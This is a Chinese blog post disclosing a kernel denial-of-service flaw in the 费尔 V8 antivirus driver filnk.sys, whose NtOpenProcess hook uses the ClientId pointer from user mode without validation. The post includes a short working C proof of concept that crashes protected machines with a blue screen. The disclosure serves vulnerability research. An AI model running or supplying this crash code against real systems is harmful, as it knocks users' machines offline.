V8藏着掖着搞了这么多年,除了主界面弄了个毫无用处的动画外,其他附加的程序,例如“隔离区”,“日志管理器”等都是老版本的程序,感觉连个人作品都不如,山寨中的战斗机。哎,让吾等正版用户及其失望。
V8杀毒软件的动态防御驱动filnk.sys在内核对多个系统函数进行了hook,但是对Ring3传递进来的参数都没有任何的有效性检查就直接使用了。因此,造成了内核拒绝服务漏洞。
这里以其Hook的NtOpenProcess为例,函数偏移6A8C0,NtOpenProcess原型如下:
NTSTATUS NtOpenProcess ( __out PHANDLE ProcessHandle, __in ACCESS_MASK DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __in_opt PCLIENT_ID ClientId )
hook函数出问题部分如下:
如上图可以看出,Ring3传递进来的ClientId参数,其在内核中就直接使用了,并没有做任何有效性检查。
测试代码:
/* 作者:莫灰灰 博客:http://blog.csdn.net/hu3167343 描述:费尔V8智能杀毒内核拒绝服务漏洞测试程序 */ #include "stdafx.h" #include <windows.h> int _tmain(int argc, _TCHAR* argv[]) { HMODULE hMod = LoadLibrary(L"ntdll.dll"); if (hMod) { PVOID p = GetProcAddress(hMod, "ZwOpenProcess"); if (p) { printf("Your System Will Crash, Press any key to Continue.\n"); getchar(); __asm{ push 0x80000000 push 0 push 1 push 0 call p } } } return 0; }
ps:在安装了费尔V8,并且开启了主动防御的机器上运行上述程序,即刻蓝屏重启。